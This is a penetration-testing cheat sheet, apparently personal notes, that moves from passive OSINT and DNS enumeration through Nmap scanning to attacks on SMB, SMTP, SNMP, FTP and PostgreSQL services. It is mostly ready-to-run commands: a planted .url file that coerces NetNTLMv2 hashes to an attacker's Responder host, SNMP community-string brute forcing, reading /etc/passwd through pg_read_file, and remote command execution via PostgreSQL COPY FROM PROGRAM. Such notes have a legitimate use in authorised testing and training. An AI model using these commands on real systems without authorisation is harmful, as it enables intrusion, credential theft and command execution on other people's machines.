Recon & enumeration: from passive OSINT to service attacks
Working an attack surface passive-first: OSINT, DNS, Nmap host/port discovery, then per-service enumeration of SMB, SMTP, SNMP, FTP and PostgreSQL.
How I work an attack surface, passive first, then active — building a host and service picture before touching an exploit. Enumeration is where engagements are won; the rule is when in doubt, enumerate more.
#Passive information gathering
No packets to the target — pull from third parties and public records first.
whois megacorp.com -h <whois-server>
# Google dorking
site:megacorp.com filetype:txt
intitle:"index of" "parent directory"
# see the Google Hacking Database (GHDB) for more
# Shodan
hostname:megacorp.com
# Source-code leaks on GitHub
user:megacorp filename:usersAlso worth a look: Netcraft for host history, securityheaders.com and ssllabs.com/ssltest for headers and TLS posture.
#DNS enumeration
host www.megacorp.com
host -t mx megacorp.com
host -t txt megacorp.com
# brute-force subdomains from a wordlist
for ip in $(cat list.txt); do host $ip.megacorp.com; done
# reverse lookups across a range
for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found"
# automation
dnsrecon -d megacorp.com -t std
dnsrecon -d megacorp.com -D ~/list.txt -t brt
dnsenum megacorp.com#Port and host discovery with Nmap
sudo nmap -sS 192.168.50.149 # SYN/stealth
nmap -sT 192.168.1.10 # full TCP connect
sudo nmap -sU 192.168.1.10 # UDP
# host sweep, then extract live hosts
nmap -v -sn 192.168.1.0-255 -oG ping-sweep.txt
grep Up ping-sweep.txt | cut -d " " -f 2
# one port across a range
nmap -p 80 192.168.50.1-253 -oG web-sweep.txt
grep open web-sweep.txt | cut -d " " -f 2
sudo nmap -O 192.168.50.14 --osscan-guess # OS fingerprint
nmap -sV --script "ldap* and not brute" <ip>When you're on a Windows foothold with no tooling and no internet, native TCP checks still work:
Test-NetConnection -Port 445 192.168.50.10
foreach ($port in 1..1024) { if ((Test-NetConnection 192.168.50.10 -Port $port -WarningAction SilentlyContinue).TcpTestSucceeded) { "TCP $port open" } }…and a Bash equivalent with netcat when Nmap isn't installed:
for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; doneNmap doubles as a light vuln scanner via NSE — scripts live in /usr/share/nmap/scripts/:
sudo nmap --script-updatedb # after dropping a new .nse in
nmap --script-help=clamav-exec.nse # what does this script do?#SMB (139/445)
sudo nbtscan -r 192.168.50.0/24
net view \\dc01 /all # from a Windows host
# list shares — null session first, then with creds
smbclient -N -L \\\\192.168.152.248\\
smbclient -U offsec -L \\\\192.168.152.248\\
smbclient //10.10.177.140/Users -U oscp.exam/web_svc
# pull everything from a share
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
# map shares + permissions, incl. null sessions
smbmap -u ' ' -H 192.168.197.240
smbmap -H <ip> -u anonymousIf a writable share exists, drop a .url file to coerce a NetNTLMv2 hash to Responder:
[InternetShortcut]
URL=anything
WorkingDirectory=anything
IconFile=\\<responder-ip>\%USERNAME%.icon
IconIndex=1#SMTP (25)
nc -nv 192.168.50.8 25
# VRFY / EXPN / RCPT TO to validate usernames against the mail server#SNMP (161/UDP)
sudo nmap -sU --open -p 161 192.168.50.1-253 -oG open-snmp.txt
snmpwalk -c public -v1 192.168.50.10
snmpwalk -c public -v1 <ip> 1.3.6.1.4.1.77.1.2.25 # user accounts
snmpwalk -c public -v1 <ip> 1.3.6.1.2.1.25.4.2.1.2 # running processes
snmpwalk -c public -v1 <ip> 1.3.6.1.2.1.25.6.3.1.2 # installed software
snmpwalk -c public -v1 <ip> 1.3.6.1.2.1.6.13.1.3 # listening TCP ports
# brute the community string
onesixtyone -c common-snmp-community-strings.txt -i <(echo <ip>)
hydra -P common-snmp-community-strings.txt -v <ip> snmp#FTP (21)
# mirror an anonymous/known share
wget -r ftp://Anonymous:pass@$IP
wget --no-passive-ftp -m -r "ftp://user:pass@192.168.118.229/"
# interactive bulk grab
ftp> binary
ftp> prompt off
ftp> mget *#PostgreSQL (5432)
Default creds are worth a spin first: postgres:postgres, postgres:password, admin:admin.
psql -h 192.168.142.60 -p 5432 -U postgres
\l # databases \du # users
\c dbname # connect
\dt # tablesAs a superuser, Postgres reads files and runs commands:
-- file read / dir listing
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_ls_dir('/tmp');
-- RCE via COPY ... FROM PROGRAM
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;